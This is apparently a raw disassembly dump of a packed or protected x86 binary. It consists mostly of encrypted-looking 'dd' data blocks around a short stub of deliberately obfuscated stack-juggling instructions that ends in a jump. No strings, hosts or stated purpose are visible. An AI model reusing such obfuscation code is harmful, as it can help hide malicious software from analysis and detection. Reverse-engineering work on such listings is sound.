		dd 63E65D01h, 0F22ABA20h, 57D815C2h, 4C377B73h,	0E0A111CBh
		dd 0E754B7F5h, 388677AAh, 973368EDh, 0FAF93D34h, 2CE0BF9h
		dd 0FAF9B4A5h, 0DC1C6DF9h, 0A02E9BD0h, 74971BC1h, 585A9C0Dh
		dd 0E0E97B01h, 8397D861h, 0F14EF9FAh, 43489E8h,	6EBD0000h
		dd 99D82369h, 0BBBC5A60h, 1A8FB296h, 22E84273h,	0E52CBDBFh
		dd 0FAFA7644h, 4BD2A901h, 0FAF851EEh, 300442F9h, 17934302h
		dd 2B2C8DF4h, 0FAF9FAF8h, 0F377508Dh, 3FE6501Eh, 870DCC8Fh
		dd 66F926h, 0AECD0000h,	0B9C98A2Fh, 18C3FC18h, 16B78C8Ah
		dd 0E216305Dh, 0B982B314h, 0E453FC18h, 0E6155CAFh, 333663D8h
		dd 0B92617B0h, 80FFFC18h, 3679F827h, 83ECFDC3h,	1FAD1D3h
		dd 89D63502h, 0F9FAA1F4h, 7F8E12C6h, 6DB804F4h,	0D4643B34h
		dd 2585E6F2h, 93F54B3Bh, 0F32E6155h, 5A3FE61Fh,	48D3DF1Bh
		dd 0F675BA03h, 49000000h, 50FF696Eh, 6F3ECFC7h,	0AE1174A1h
		dd 0DD04672Dh, 0A8EB9E1Ch, 0DC196C30h, 0F8E1600Bh, 27F3DB8h
		dd 0CF274384h, 42C5FC18h, 18CF74E5h, 0F5D6ADFCh, 64C58D4Ah
		dd 0FC18CFF3h, 109E5F22h, 2F7564DBh, 0C80C4FF2h, 3DE0B9CCh
		dd 6C103EF7h, 45419AD7h, 34726524h, 1C4364D1h, 0EBAADDDBh
		dd 1F5CAFEBh, 0C54AA7CEh, 0B83F7EE1h, 1A6E9F2h,	1FA5001h
		dd 0AADFFBB0h, 529FC93Dh, 0BA035A7Ch, 0F9685CC1h, 1FA5C250h
		dd 0E4145504h, 0BDFC63D8h, 4CCF7240h, 0DFC56AEBh, 0FBCCBBF7h
		dd 1BDB9A2Fh, 0C1246295h, 0C38E5F94h, 0A86F941Ah, 6BFE7DB7h
		dd 2D8371Eh, 5F990000h,	0ACABF5Bh, 0B921008Eh, 5D98E9F5h
		dd 0DCEB35Fh, 5EC1B87h,	517D43B8h, 3FDBE910h, 860C904Ah
		dd 6A7036A3h, 0BDBE1B6Ah, 54F9F00Dh, 6D6EED29h,	85E0AE2Dh
		dd 0A5E91150h, 32D81546h, 860C8A4Fh, 8A2FAED8h,	0FC18B9C9h
		dd 0A19A2318h, 309988BCh, 1FAD13Eh, 246890D1h, 0BEB39CEFh
		dd 0ADF9FAA1h, 0F9D45B2Bh, 563FE62Bh, 0B3h, 23696E68h
		dd 5E6499D8h, 0BDC462CFh, 0F3E4FC18h, 9F5829B5h, 28358219h
		dd 95420504h, 6647F417h, 0FEF9B83Bh, 0DFE86DB8h, 0FAD39476h
		dd 6895D401h, 0E740C35Ah, 0F9FA9B76h, 249BD0AFh, 5A93EAB6h
		dd 0A02E0581h, 498CAAB7h, 44B93843h, 55D4017Eh,	1F4B7DF4h
		dd 0A4DB9004h, 2CAAF8E5h, 911FDA9Dh, 86E5AB2Eh,	10CD7455h
		dd 619C6582h, 0FA8FFE7Eh, 1F59Bh, 4642B400h, 0A9EDE958h
		dd 109C5C2Dh, 7A40B78Ah, 0A2F0ED5Ch, 0D7E88F24h, 0F729826h
		dd 69D8C6CCh, 0DEA32F73h, 4F779319h, 0CA09136h,	0C71F9F0h
		dd 276D6ECEh, 8111C6BBh, 8431545Ah, 0AE85434Fh,	5BA2E8EFh
		dd 662CAF12h, 4AF5D607h, 0B5FC0F8Dh, 0FFAE824h,	5E6F7B04h
		dd 4C7CE613h, 0D83FD324h, 0F27793C8h, 0B338B865h, 0BA3D12A4h
		dd 0F72CA9FCh, 0F46E6BD6h, 27D0300Dh, 0B8D11A61h, 8623E076h
		dd 0FC18AAD5h, 8DFA370Ch, 0A29C817Eh, 0D9126937h, 0B25CFD6Ch
		dd 5D01FAD3h, 1C64073Ah, 0E7B6FC0h, 5D2913FFh, 397EE811h
		dd 0E459E6D2h, 46719DCAh, 0D572F5D9h, 4188BE5h,	0F4746427h
		dd 9DF74CA0h, 0A2F93660h, 60F727F5h, 0D603C7A0h, 0A7DA91F5h
		dd 10A9F7E4h, 8F0DCA75h, 8074367Ch, 74EBDF44h, 3E98E3D3h
		dd 0C999320Ah, 0A8DB9AC5h, 86FBE75Ch, 71304B51h, 30E869CEh
		dd 4239EDBEh, 4AD1DD1Fh, 43B9B801h, 5FC22C7Fh, 0F6D7DD1Ch
		dd 0CD0A784Ch, 0B08C3CFh, 7F872027h, 96105C49h,	2885B613h
		dd 0E75CEB90h, 0E71053AAh, 0F27C5AA1h, 695DC202h, 514951F6h
		dd 0E3581672h, 7B6FF4E7h, 43C245C4h, 722175E6h,	76D7ACE1h
		dd 0E17221C5h, 3D86271Ch, 1F6BC717h, 0B739A2E5h, 3CAEB4E1h
		dd 1DAE1B9Bh, 0E86BB289h, 5C2DA9EFh, 878E1D9Bh,	0EFB2A304h
		dd 1463DF4Bh, 9B719403h, 912AC371h, 90F448h, 0CF8E3300h
		dd 0F17A810Dh, 28966EE8h, 9CEDE9AFh, 47CE5D5Bh,	282F23D2h
		dd 0B4518CB2h, 0DD27B48h, 24D9EC1h, 0FB6D5D3h, 39B8C3C7h
		dd 11ADF8BEh, 4199DFD7h, 16C32F07h, 0EF6E9190h,	968B094Ah
		dd 0DA63D8B6h, 0B6968B99h, 4C8CF348h, 17B02540h, 0C3C90E73h
		dd 19DF1D5Ch, 968BBFB0h, 0AC1956B6h, 0A0CB1C59h, 0DC1h
		dd 7ADF5E00h, 0B6968BF9h, 0BC8A5328h, 686E9DA7h, 6196D92Ch
		dd 5B81C05Bh, 4E8D3457h, 41BA2540h, 34A92873h, 21D41F6Eh
		dd 19C1009Bh, 7CF7695h,	68F27883h, 5706h, 68240489h, 0EFFh
		dd 68243C89h, 0F8Eh, 56243489h,	0C3FD368h, 0E6815E75h
		dd 3945D3Ah, 0EE81D6F7h, 32F2575Dh, 2D79B850h, 0D0F76034h
		dd 0B53B3B0Dh, 0D0F7485Fh, 4B7E280Dh, 66990545h, 0C62960D5h
		dd 5EF78958h, 8904EC83h, 4812424h, 424h, 89505E00h, 468F50F8h
		dd 34FF5808h, 0C4835E24h, 2434FF04h, 4C4835Fh, 0F9C7AAE9h
		dd 5D6186FFh, 6359D99Dh, 0EE24AEF7h, 0B822FFD2h, 5E8B7F4h
		dd 0E0FFC503h, 1269720Dh, 42954101h, 414CA13Dh,	4BF120F0h
		dd 3FE90D04h, 4E2F70B5h, 51ADECD4h, 14635E6Bh, 5AF44DD7h
		dd 677BCC92h, 820C867h,	4867121Ch, 508B9B4h, 702CD80Dh
		dd 7239B3F3h, 2216D1E3h, 1B588587h, 1954F59Bh, 7F92654Fh
		dd 0D17704EBh, 0ADE95F7Dh, 0B6000005h, 0EB5E4440h, 5E23AFEBh
		dd 0B988169Ah, 0EF52783Eh, 8D3AA0EEh, 9E24D9E6h, 0C4CA3170h
		dd 2D716BDEh, 9117C0A1h, 9F384975h, 0F9F001DEh,	6ECC0E77h
		dd 0BD3C2369h, 18B95B1Ch, 74891FCh, 0DEFC18B9h,	3D8EE561h
		dd 602EAF16h, 1ED2077Ah, 18B9B8B9h, 0A51269FCh,	7A6023A2h
		dd 0C566D736h, 0FC18B994h, 0DDBC5E40h, 8C8ADD0Dh, 40F16B7h
		dd 0B0099545h, 0EA9E48B1h, 95C663AAh, 4CFC18CFh, 0CA7366F7h
		dd 0ED94F72Ch, 120B097Ch, 934270BFh, 845F615h, 4044B0BFh
		dd 473F7925h, 12B8FEFBh, 7EE1AD2Fh, 78195AFFh, 0F4C5FC18h
		dd 1015BF98h, 0E2FBB0DEh, 0B974524h, 48A71F0h, 675F19E1h
		dd 31DDE11Bh, 0FA018770h
		dd 18A8E19Dh, 784CFAFCh, 424DC31h, 6C733Ah, 0AE770000h
		dd 0B9C98A2Fh, 0A603FC18h, 0FC18B9B5h, 3C0B176Ch, 7533A4ABh
		dd 26FA6F16h, 0E765790Eh, 0C978C11Ah, 0DEFC18F5h, 79EE9C68h
		dd 0C46D183Ah, 2C5A6340h, 3A04B6F1h, 15Eh, 666E6000h, 0CF58DB22h
		dd 324CD0EFh, 4DF4D5B4h, 77FE0D89h, 0A3E33A80h,	35A10DF9h
		dd 0C65D1EBBh, 63F4FC18h, 442ADC45h, 71AE1BF0h,	0A5E31455h
		dd 6D6E3339h, 599DC427h, 66CCD581h, 0A11E5425h,	33BF29BEh
		dd 97E6EC40h, 55972F36h, 0D0E81561h, 3629662Ah,	0A0398577h
		dd 545287FAh, 0C2D94E31h, 867353h, 3AE770E5h, 6DD4F510h
		dd 3C7CFD6Dh, 0D8EBE7A7h, 0DE2D7169h, 0BE21209Dh, 96B7FBFFh
		dd 0FC18BCA5h, 9FA6077Ch, 84753475h, 0C9BDA506h, 4169B46h
		dd 6B303Ah, 6E0A0000h, 9DC4276Dh, 48CA515Dh, 13C8360Eh
		dd 61E0018Dh, 18B997D8h, 9E3B4EFCh, 0FC18B9DDh,	0F9C23F74h
		dd 83F8576h, 0BD0E9449h, 0E2A82F96h, 7FF799Bh, 4115D80h
		dd 5AF23Ah, 6EF40000h, 9DC4276Dh, 0E0C8535Fh, 0D8993EA1h
		dd 9FC18B9h, 8208CF32h,	61E9F27Bh, 2EA6E995h, 0D7367A60h
		dd 0D1902966h, 0A0E3662Ch, 0B4526B39h, 0EBEFAE8Eh, 1B6230ADh
		dd 1F0665D2h, 18B9B9BAh, 0A61368FCh, 1E9A5A05h,	0B98CA28Fh
		dd 5395FC18h, 13F12C63h, 15E3A04h, 60000000h, 23266A6Eh
		dd 0D02B7960h, 0B83B429Bh, 0A322793Fh, 0AC177634h, 0BA1B622Eh
		dd 6A7CC4B0h, 32A614E0h, 0EA77606Eh, 44E643C6h,	0BF01FACDh
		dd 0ADACAD0Ah, 0E65F9FAh, 0CE0B4AD1h, 589513C2h, 8C0ACFB2h
		dd 0AD611079h, 46F9FAh,	5711C634h, 9212CF35h, 147019E9h
		dd 902F03E3h, 26763D8h,	0DB4D7D5h, 7BFCECCh, 7465D1A5h
		dd 2FE2A836h, 9E3FE666h, 0E8C45709h, 8DA909DAh,	0E073FEACh
		dd 0F92687FCh, 1BEh, 0E152F776h, 3DF9FAAAh, 0C2E4C83Bh
		dd 92E975B5h, 0EFAE7D49h, 2019A2E8h, 59180F23h,	3E59C49Eh
		dd 182A8FD2h, 14971AA3h, 0DAB12783h, 0CE0F9E1Ah, 2D0AC64Dh
		dd 8FF339Ch, 591601FAh,	505683C2h, 8402F74Ah, 0B3F9FE61h
		dd 67F1E968h, 0FA4491C2h, 0BEEB40F9h, 0A9F7E46Fh, 0F8CC7A52h
		dd 104D4B8Ah, 0DE6C58E2h, 0C853579Fh, 3A3B9C83h, 0EBF9FA44h
		dd 0D3044B9Ch, 8E43C9D5h, 3D3FE710h, 90h, 0BEFCFBBAh, 7918592Dh
		dd 2E430A9Fh, 329FBD78h, 18EB2829h, 5F82F9FCh, 418A119Dh
		dd 5921514h, 896ED2C5h,	4F72A57h, 0DDEE6FBEh, 18651374h
		dd 72F542FCh, 65E556F3h, 473CFC18h, 0C354DF66h,	0DE7B31C6h
		dd 0FC18089Dh, 0E15EFFB4h, 7E7FA23Bh, 4760D530h, 185E7DFEh
		dd 8E4FFCh, 357D7AE5h, 7F8EFBC7h, 3F817537h, 0B52467AAh
		dd 0A094DEEFh, 16093D24h, 81E4A257h, 0AB0C7354h, 0FC185E7Ah
		dd 870BF1B0h, 0B0D6F764h, 0AF8ADFFBh, 0B0000000h, 0D0577B18h
		dd 0FAD2E777h, 3A413E01h, 0C9783EBBh, 7F485486h, 9B21D6ABh
		dd 0A30D2700h, 0D352F9FAh, 0A7EB1150h, 5361744h, 0DCF9FAA3h
		dd 0F522706Dh, 2C9A6AD4h, 0F6E1EDABh, 55C24569h, 0E9138838h
		dd 2A8FB29Bh, 0F9FA2C29h, 0F73A83F8h, 0E3E7AA52h, 5684E507h
		dd 0DBDF174Ah, 23D41F6Eh, 2063E265h, 0E253F4B8h, 0E8F7D3F7h
		dd 2A7A3F1h, 0D3F7B4A5h, 0D9166DF7h, 0FA6500h, 0EEE669BCh
		dd 0CF7953AAh, 3F3981F7h, 0A6808D47h, 5102A733h, 80F7D3F7h
		dd 1E017EABh, 9618DC9Fh, 8ECF5E62h, 0EF5E3851h,	0FB471CCDh
		dd 989399E2h, 453209CAh, 7B189359h, 0D1109E5Dh,	0D5066529h
		dd 4440E998h, 8B020172h, 60D176h, 706AF9F0h, 0F69CD92Ch
		dd 0B6394CB9h, 2A5F7B41h, 9BA480BDh, 3495B012h,	0BFCECC0Dh
		dd 465804D2h, 71450753h, 0C8D6D405h, 0E33A8079h, 0B7FBE1A0h
		dd 0F35C78A6h, 10A9EF1Eh, 85E0A651h, 0F743333Dh, 2B1E8402h
		dd 0B29DE8AEh, 12h, 0C0C43073h,	26A703E7h, 0B95102A7h
		dd 0AB80FC18h, 686E5412h, 6196D92Ch, 5B81C05Bh,	4E8D3457h
		dd 41BA2540h, 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h
		db 83h,	78h, 0F2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	50F0h
		mov	[esp], ebx
		push	ecx
		push	5B5F5DCBh
		pop	ecx
		sub	ecx, 5576A4F3h
		mov	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	61F0h
		mov	[esp], edx
		pop	dword ptr [ebx+8]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_4F5CCB
; ---------------------------------------------------------------------------
		dw 1449h
		dd 347A839Ah, 58804D60h, 0E8BDF4B8h, 0FFC50305h, 9430FAE0h
		dd 974CAB4Dh, 20F0AA02h, 8D0DFA51h, 2AC32436h, 0D69FBA5Ch
		dd 86A1863Dh, 0EB7B7012h, 4D0C8522h, 7A8D2529h,	40B8366h
		dd 648D6F08h, 0D4B4927Fh, 32802F79h, 0F0147227h, 3ED49B1Eh
		dd 0F5A2885Fh, 0B37AAB44h, 0ABAE03Fh, 56B46D1Dh, 978D8D69h
		dd 6A05E8BFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 2AD9C350h, 53CDBC01h, 68D0Fh
		dd 0CE810000h, 1D2F200h, 0E98D895Bh, 5305E20Bh,	14C59D09h
		dd 0C75A05E2h, 0E2076185h, 74CC05h, 0FB8B6600h,	1B5585C7h
		dd 5E2h, 6A0000h, 3E856h, 5E200000h, 74895EC3h,	44810424h
		dd 190424h, 56460000h, 0ABA8F6C3h, 0F302F40h, 1A80h, 14E800h
		dd 1A7B0000h, 99003DD1h, 0DEC3B78Dh, 15B0850Dh,	0D6A5CC6Ah
		dd 0FF5F396Bh, 0E22361B5h, 0C1B58B05h, 0FF05E214h, 0E20B1595h
		dd 69C88105h, 6A30B157h, 0B995FF00h, 8B05E20Ah,	9C28EBC0h
		dd 91358DD7h, 481403Dh,	60853D74h, 0F65A21B4h, 2CCCC3EDh
		dd 0D1F7ACA1h, 3C288310h, 4E8B917Bh, 1F1FBFCDh,	0E85BB1BFh
		dd 11h,	0A250D922h, 9131C54h, 1CC19056h, 12B8010Eh, 8C0F03h
		dd 5B000000h, 8C3C73B8h, 83C3811Bh, 0E9000064h,	8, 0F9096CCCh
		dd 3AC74DB1h, 68h, 0DF816600h, 0B8591172h, 3AF477CCh, 0F1934FFh
		dd 188h, 8B5AF800h, 0E215C5B5h,	0B2F28105h, 663CB739h
		dd 0C69CD881h, 0BCB3F281h, 12E9201Bh, 0D2000000h, 1C018A8Ch
		dd 59CD984Eh, 691AA3FFh, 390FD3F4h, 0C1F28145h,	3143AAB3h
		dd 0E2051D95h, 0B148905h, 0AE9h, 0E56A8400h, 0E4AB1C4Ch
		dd 895DEA1Fh, 0E20D2185h, 4E98305h, 81F88B66h, 0FF9C28F9h
		dd 91850FFFh, 0C6FFFFFFh, 0E20A4985h, 0DF685605h, 0FFA9C530h
		dd 0E216A1B5h, 61858D05h, 0FF05E57Ah, 598D8DD0h, 5105E218h
		dd 0B5FF406Ah, 5E20879h, 0E99B5FFh, 0D0FF05E2h,	879B5FFh
		dd 0B5FF05E2h, 5E20E99h, 13E8h,	0AAF61100h, 1B28B887h
		dd 2CC01098h, 0E4250CB5h, 0A4A134A1h, 0EA835A5Ah, 242CC104h
		dd 2424C102h, 24140302h, 2B241CF7h, 0A048BC9h, 9EC3E881h
		dd 0F081786Ah, 5B6CFF5Dh, 4777C081h, 8F502FE3h,	0E9830A04h
		dd 0C3B4903h, 0DA850F24h, 8DFFFFFFh, 0E206959Dh, 0B038B05h
		dd 7840FC0h, 8B000000h,	45B8B03h, 0C98B1889h, 0EE8h, 36584200h
		dd 3D0438A5h, 26CE9515h, 0E8958EEAh, 5,	23C01AAh, 0CFB70F46h
		dd 860F5B59h, 6, 82B86652h, 0C3815831h,	6100h, 0D23341B1h
		dd 0CE9h, 6C7500h, 78EFD23Eh, 1FB27A69h, 133C8BE8h, 0A0F6F781h
		dd 56506026h, 0FE8FB966h, 0C7815858h, 683F6338h, 0CF7C25B8h
		dd 7FEF8164h, 0F160E9Eh, 0F57CEB7h, 180h, 48FF500h, 0BF0F6013h
		dd 0AE9DEh, 0A88F0000h,	33CF275Ah, 5842E9FEh, 0A6BE6661h
		dd 4EA832Bh, 58CE8B51h,	9FDCFA81h, 850FFFFFh, 1Dh, 3810Fh
		dd 8B660000h, 33E9F3h, 45030000h, 21B7AB8Dh, 0EA9BC47Bh
		dd 3B4782A1h, 0AAB860EAh, 0F494005h, 281h, 61F08B00h, 0FFFF74E9h
		dd 0EA18C7FFh, 0ADD61F80h, 9146B24Bh, 4B0DFCA8h, 0CE852h
		dd 2C1E0000h, 0F8D7217Bh, 0FFC8AE73h, 665AB218h, 814C3ABBh
		dd 6D01C2h, 0EF805000h,	0FF335B8Ah, 0A1C88166h,	1734FFF8h
		dd 5B59B353h, 1DB86659h, 4EF1812Ah, 600897DCh, 0AE9h, 0AC9FFF00h
		dd 0E280F755h, 667BB00Bh, 61D1C3BBh, 2645C181h,	0B3B34A2Eh
		dd 2EAC181h, 7E85DE0h, 0FC000000h, 0ED572A5Fh, 8E8429Ah
		dd 2D000000h, 5A0556A4h, 0F61B3D2h, 8Bh, 89585800h, 5E93A0Ch
		dd 92000000h, 0FF5264BAh, 9B51BB66h, 561BEF81h,	0C7817BBFh
		dd 7BBF5617h, 93C0FF81h, 850FFFFFh, 10h, 1CE9F0B0h, 0FD000000h
		dd 0A83BBDB0h, 6D31D76h, 0A7DB8166h, 0FF67E9ABh, 1F7AFFFFh
		dd 0F32BE720h, 8D4ACC41h, 0E8C3808Dh, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
		dd 891DE820h, 0E20BE98Dh, 0E9F78A05h, 0Eh, 1142F860h, 4F66362h
		dd 48BC66E3h, 85C7201Ah, 5E20761h, 6070h, 0C7FEBF0Fh, 0E21B5585h
		dd 5, 6830F00h,	8B000000h, 0E23335BDh, 0CDB5FF05h, 6005E22Ah
		dd 3139B589h, 0BF0F05E2h, 0ABB61F1h, 0FF51CBDCh, 0E20B1595h
		dd 57006A05h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0FA062203h, 0C2D01088h, 0EE8129C7h, 7C318F88h
		dd 95FF006Ah, 5E20AB9h,	59EBC08Bh, 23D6ADC3h, 542036ADh
		dd 3CE2439Ah, 811804F5h, 0CA8F57ACh, 4E586A39h,	78410BCh
		dd 3BEE3F34h, 698E36A3h, 0A38CC120h, 7115B111h,	8C09B948h
		dd 0E5879DEBh, 0D4E4C2C7h, 6BB16FB8h, 7FF99F72h, 68894B72h
		dd 0FFABF5EDh, 98C2B3C5h, 0C366151h, 85FF6B1Ch,	0E39AF4AAh
		dd 8EB9Ch, 54000000h, 0E92B46C6h, 471h,	0E8C4B668h, 0BC1DE905h
		dd 2568FFF9h, 0E905E8C5h, 0FFF9BC13h, 0E8C68A68h, 0BC09E905h
		dd 7365FFF9h, 1ED6AB37h, 0CD0D7C9Ah, 7164C5C1h,	21DAAF2Bh
		dd 19F87793h, 4D495784h, 2BB7FDFCh, 0F218A456h,	464C4A8Fh
		dd 91C2679Eh, 40F9F07Dh, 0EFAE19DDh, 125BA2E8h,	4F5586C9h
		dd 4C44B53Ch, 7CF90C88h, 0B3D09B07h, 0DF4FE89Fh, 6D01FADFh
		dd 0DEEFAD2Ah, 0CFA8F348h, 0F9FA9FB2h, 0D84F27A1h, 3FE63905h
		dd 2AAAAh, 770F9C00h, 0FB6E42CFh, 0FAC3D85Eh, 0C4047301h
		dd 0CAD60245h, 1512A8F1h, 3B58FC9Ch, 6FB71017h,	0A602BDAEh
		dd 0D845B2C9h, 4AD475F4h, 4508D36Bh, 0BF387BEEh, 6B6CDDF9h
		dd 7A92C02Dh, 2045FB39h, 30A41h, 9A1ED800h, 0CDC90D7Ch
		dd 347860C1h, 9E1CDBAEh, 0C6CC3170h, 0FBC4A3D8h, 5316BC02h
		dd 8DFC1AA8h, 0E247434Fh, 2B2BB7F5h, 7DFC7DDAh,	6815F9F0h
		dd 639AEA2h, 55721984h,	0BAA79029h, 59369396h, 0EB0201A3h
		dd 196C30A8h, 0A09F0BDCh, 0B7FDFEA1h, 0C3A5562Bh, 9F92719Dh
		dd 0E83368B4h, 0F1C4F58Fh, 9016C3F9h, 5BCE216Bh, 0B49FEA04h
		dd 29Bh, 8D098D4Bh, 567C38BCh, 3FDBE713h, 810D8B4Ah, 69753BA0h
		dd 716A33D2h, 17C2A723h, 0BE3C0D89h, 6495D4F2h,	4DB4B826h
		dd 0F07C6BECh, 33FBBAF9h, 0C9D7B18h, 2E395182h,	0DB9CADC1h
		dd 0AFC1899h, 0A04F1C3Dh, 30965B08h, 0F2D344FBh, 578159F6h
		dd 0C562AD3Eh, 201A1C8h, 96F30A61h, 0F9F11999h,	0AF088B8Ah
		dd 0F9F119AEh, 0B7BF0867h, 0AF9548BFh, 803A3FEDh, 0C000001h
		dd 0B129696Eh, 0EA55B0EDh, 2FB8AFEDh, 26B20EC5h, 7614B565h
		dd 75F4D845h, 0D32C9CE4h, 0CF182A8Fh, 6F13E740h, 3D0A01FAh
		dd 0F6E4A7EEh, 3B7034A0h, 9526BE0h, 0F9FA6C74h,	9215E167h
		dd 3FE6E43Fh, 4EECh, 7B18D600h,	891C9A5Dh, 9110174Ch, 0E908BA78h
		dd 5A66009h, 0FA02BABCh, 0F5C25501h, 0A088BAA0h, 0D00D894Dh
		dd 9E01009Bh, 0FAEA3839h, 0C4C832F9h, 7FD8E15Eh, 0F9FAEAC2h
		dd 939F97D1h, 0C31E6806h, 0B8017356h, 0E6D34F82h, 0AAFC3Fh
		dd 6EC60000h, 99D82369h, 2339464h, 0D3FC18B9h, 95DC2F64h
		dd 9CC72664h, 6B2A5D5Bh, 932F286Eh, 6F55E0E5h, 0A225E1FAh
		dd 0FC180AEBh, 224E18C1h, 7E641D92h, 0EFE8F623h, 58DB4E62h
		dd 42D9DD19h, 4557B009h, 5801FD0Ah, 0C03D7CE3h,	6895D4F2h
		dd 38D1DD5Ah, 0C7A20460h, 1367Ch, 0B6F2E400h, 199D5928h
		dd 404C8CFDh, 0AAF0E75Ah, 12A05D2Ch, 7987FF4h, 7FC2C8D6h
		dd 0D9A8367Ch, 0E739F23h, 1FC7C3C9h, 7F1041E6h,	5CC1F9F0h
		dd 2D6D6E9Eh, 5398E3AFh, 5089F8E6h, 0BA3D4C4Ah,	18B95C1Dh
		dd 0C762F5FCh, 8127ACCDh, 0B076578Ch, 0D823696Eh, 0EF866099h
		dd 66FBBC2Dh, 540783F8h, 0C3641BCFh, 1FB7F6Ch, 0F4B7AA81h
		dd 0CA1DB907h, 0F9FA7EB5h, 4E545287h, 41B602FBh, 0E4078B71h
		dd 0B6E33A77h, 53BC3ACFh, 6EDB101Fh, 0A5341Fh, 184E0000h
		dd 77D0577Bh, 2017DE6h,	0F8D4A3Fh, 1B3AAFD2h, 85D0007Ah
		dd 0C0032AB3h, 34759117h, 0D9A6C5C3h, 2F2E5C27h, 42D9E515h
		dd 0B1D4DA03h, 45BB8BCDh, 43AF87C1h, 0B78A1096h, 42C54442h
		dd 8E1374E5h, 0F5D6ADC8h, 0AAF0E76Eh, 0A6EA1053h, 0D3D91C47h
		dd 0B480CA48h, 13302186h, 8AE1C88Eh, 45048D5Dh,	73F20995h
		dd 6BE03B87h, 0D1A5AD3Eh, 0A9F7E2A5h, 81C01952h, 6C2F5258h
		dd 0FBFE216Fh, 0C4E556B5h, 307663C6h, 198AD5h, 0A7B00000h
		dd 0E8726726h, 0E1E275A1h, 8E1D4A36h, 42312287h, 8BE0FC18h
		dd 6EB98D5Eh, 96D92C68h, 81C05B61h, 8D34575Bh, 0BA25404Eh
		dd 0A9287341h, 0D41F6E34h, 0C1009B21h, 0CF769519h, 0F2788307h
		dd 288668h, 240C8900h, 3FC768h,	24148900h, 769068h, 24048900h
		dd 33A6B951h, 0D1F776E3h, 8106E1C1h, 5D3507C9h,	0C4C1810Bh
		dd 51B6698Ch, 8B54595Ah, 0C4812404h, 4,	51D38953h, 8B9h
		dd 89C10100h, 0FF5B5919h, 83582434h, 148B04C4h,	0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 0B7C5E95Ch, 0C2B7FFF9h
		dd 0C5D1F2F4h, 0EC9BD655h, 21B27C78h, 0C7E5B8E8h, 0C50305E8h
		dd 0BBB9E0FFh, 26E212CBh, 158A0212h, 900749AAh,	4EA0212h
		dd 62D5217Ah, 4ED656ABh, 0E01B4222h, 14BE56CDh,	19AA7BC8h
		dd 0E81F1DA6h, 66501689h, 21082308h, 66370D4Ch,	79076AB1h
		dd 1FF15549h, 0F89440B4h, 691C4CC9h, 5E531250h,	0F4A67CC7h
		dd 600B0708h, 0AED45165h, 645170F9h, 0A9254FCBh, 0DF577BDEh
		dd 10CE7642h, 73907033h, 0C0294032h, 12E82418h,	49000000h
		dd 3990BE61h, 0CB794250h, 265CF1DFh, 0D2101A58h, 59F08BA1h
		dd 0B194C381h, 0C1814F46h, 65C4h, 4BB85F53h, 0B7000019h
		dd 0F118B4Fh, 8Bh, 0BDC28100h, 0E917991Ah, 12h,	63A16D1Fh
		dd 0A3B54DFFh, 0DAE60B48h, 551F55A4h, 0F2813A98h, 71891D4Dh
		dd 18A0Fh, 81F50000h, 81FBFBC2h, 74ECBB65h, 118929FEh
		dd 0AC9DBE66h, 4902E983h, 1E88349h, 0F850Fh, 1CE90000h
		dd 0A2000000h, 4BF58D17h, 2151D85Ah, 1CCF81CDh,	0E96E440Eh
		dd 0FFFFFF95h, 0F433CD7Ah, 0E8A2F1ADh, 5, 53678D6h, 0D9BF0F7Ah
		dd 81F98B5Ah, 66BDC2h, 89BB6600h, 0E8C02B03h, 0Ch, 5AE35895h
		dd 9CB096C0h, 86B150DEh, 34FF5FF8h, 0A5B96610h,	8B665EFEh
		dd 7AC681FBh, 0E834E89Fh, 9, 0EAD0883Ah, 84A3D108h, 0B0D38168h
		dd 5B475028h, 86FEE81h,	820F28E9h, 0Ch,	7E9h, 0AA22FF00h
		dd 6215780Bh, 4563EE81h, 89F9078Ah, 66560234h, 594B6BBFh
		dd 83D8BF0Fh, 9E901E8h,	0D0000000h, 29B928D6h, 0BF13471h
		dd 0BB484848h, 5687CB19h, 99F8F881h, 850FFFFFh,	0FFFFFF8Ah
		dd 14E9h, 0EFF2B200h, 76588218h, 41A9C64Dh, 20C8D92Ah
		dd 0B0702BF6h, 3104EB56h, 0E977474Dh, 52Eh, 0E1EDA92Fh
		dd 4A505480h, 13BF03F7h, 0E5E1A72Eh, 4D495784h,	8D4E4F36h
		dd 33A69B07h, 0DA00616Dh, 8079C8D6h, 51D09C3Ah,	0F0734708h
		dd 57979EF9h, 0D823696Eh, 94826499h, 589718Ch, 79E475E6h
		dd 0D5F12E83h, 0ACEF6394h, 95C6672Dh, 97FC18D7h, 8ECF5E64h
		dd 0C2187780h, 52598177h, 125DA8E5h, 2C4C7BE5h,	8DBEFAD3h
		dd 8E1D9B5Ah, 8AF5104Dh, 0CDADAE0Bh, 0DA7FFC18h, 0FC18CD99h
		dd 1857F348h, 0EDB5AE7Fh, 724BE56Ch, 64907CFh, 3BB0CBD1h
		dd 18B73122h, 1D5EFBFCh, 34FC18B7h, 6C6ED37Fh, 6FBEEB20h
		dd 25916527h, 99E8F6B4h, 0CEB35F63h, 0FA65800Ch, 0CF8EB1FFh
		dd 133A8307h, 4DB98DB7h, 0A287038Fh, 4B147735h,	0FC18B737h
		dd 47CABA2Ch, 3A04218Ah, 5E21h,	696E0500h, 0C07FD823h
		dd 0E7FC18B9h, 70E99561h, 5B95CDAh, 45E1FA30h, 3A041488h
		dd 127h, 666E1B00h, 9CEFAD28h, 0FC7FE25Fh, 18B91A5Bh, 0D7CCBFCh
		dd 3EBFCECCh, 975F86ADh, 8E498813h, 8672FD08h, 7860E33Ah
		dd 4107D134h, 0CDD10975h, 42C03DBEh, 16DE2C18h,	0C4357492h
